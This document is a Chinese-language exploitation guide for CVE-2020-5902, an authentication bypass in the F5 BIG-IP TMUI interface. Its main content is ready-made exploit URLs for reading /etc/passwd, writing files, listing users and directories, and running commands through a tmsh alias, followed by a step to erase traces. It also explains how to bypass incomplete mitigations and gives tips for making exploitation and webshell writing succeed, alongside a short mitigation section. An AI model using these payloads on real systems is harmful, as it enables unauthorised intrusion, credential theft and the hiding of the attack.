F5 BIG-IP TMUI RCE漏洞(CVE-2020-5902)重现及注意点
字数 1419 2025-08-19 12:40:57
F5 BIG-IP TMUI RCE漏洞(CVE-2020-5902)技术分析与复现指南
0x00 漏洞概述
F5 BIG-IP的TMUI组件(流量管理用户界面)存在认证绕过漏洞,该漏洞源于Tomcat解析的URL与request.getPathInfo()存在差异,导致攻击者可以绕过权限验证,未授权访问TMUI模块所有功能,进而实现文件读写、命令执行等高危操作。
0x01 影响版本范围
- BIG-IP 15.x: 15.1.0/15.0.0
- BIG-IP 14.x: 14.1.0 ~ 14.1.2
- BIG-IP 13.x: 13.1.0 ~ 13.1.3
- BIG-IP 12.x: 12.1.0 ~ 12.1.5
- BIG-IP 11.x: 11.6.1 ~ 11.6.5
0x02 漏洞复现方法
环境信息
- TMUI网站目录:
/usr/local/www/tmui/ - TMUI web server:Tomcat
1. 漏洞检测POC
https://[target]/tmui/login.jsp/..;/tmui/util/getTabSet.jsp?tabId=test5902
https://[target]/tmui/login.jsp/..;/tmui/system/user/authproperties.jsp
2. 漏洞利用方式
任意文件读取
https://[target]/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd
任意文件写入
https://[target]/tmui/login.jsp/..;/tmui/locallb/workspace/fileSave.jsp
列认证用户
https://[target]/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=list+auth+user
列目录
https://[target]/tmui/login.jsp/..;/tmui/locallb/workspace/directoryList.jsp?directoryPath=/usr/local/www/
远程命令执行(RCE)
- 创建命令别名:
https://[target]/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=create+cli+alias+private+list+command+bash
- 写入命令文件:
https://[target]/tmui/login.jsp/..;/tmui/locallb/workspace/fileSave.jsp?fileName=/tmp/cmd&content=id
- 执行命令:
https://[target]/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=list+/tmp/cmd
- 清理痕迹:
https://[target]/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=delete+cli+alias+private+list
0x03 有缺陷的缓解方案及绕过
有缺陷的缓解方案1
在httpd配置中添加:
<LocationMatch ".*\.\.;.*">
Redirect 404 /
</LocationMatch>
绕过方法:使用/hsqldb接口加上分号(;)可以绕过认证,进而通过反序列化实现RCE
有缺陷的缓解方案2
在httpd配置中添加:
<LocationMatch ";">
Redirect 404 /
</LocationMatch>
绕过方法:使用/hsqldb%0a可以绕过认证
0x04 完整防御方案
- 登录TMOS Shell(tmsh):
tmsh
- 编辑httpd组件配置文件:
edit /sys httpd all-properties
- 添加以下配置:
include '
<LocationMatch ";">
Redirect 404 /
</LocationMatch>
<LocationMatch "hsqldb">
Redirect 404 /
</LocationMatch>
'
- 保存并重启服务:
ESC
:wq!
save /sys config
restart sys service httpd
quit
最佳实践:将BIG-IP更新到最新版本
0x05 复现注意事项
- 如果
list auth user或list /tmp/cmd.txt返回空,多重复几次或使用intruder工具可能就有返回 - 即使返回空,也可能已经实现RCE
- POST请求的成功率通常高于GET请求
- 近期有管理员登录过的系统更容易获得返回值
list auth user能稳定返回值,RCE成功率高- 写webshell返回500可能缺少
ecj-4.4.jar - 操作完成后记得还原
list命令,删除或覆盖命令文件 - 遇到返回500或error错误,多重复几次可能就正常
0x06 检测工具
推荐使用开源检测工具:
- 项目地址:https://github.com/theLSA/f5-bigip-rce-cve-2020-5902
- 功能:支持单IP检测、批量IP检测、文件读写、列认证用户、列目录、远程命令执行和hsqldb认证绕过检测
0x07 参考资料
- F5官方公告:https://support.f5.com/csp/article/K52145254
- 漏洞利用代码:https://github.com/jas502n/CVE-2020-5902
- 技术分析文章:https://www.anquanke.com/post/id/209932
- 反序列化利用工具:https://github.com/Critical-Start/Team-Ares/tree/master/CVE-2020-5902
- 漏洞分析报告:https://www.criticalstart.com/f5-big-ip-remote-code-execution-exploit/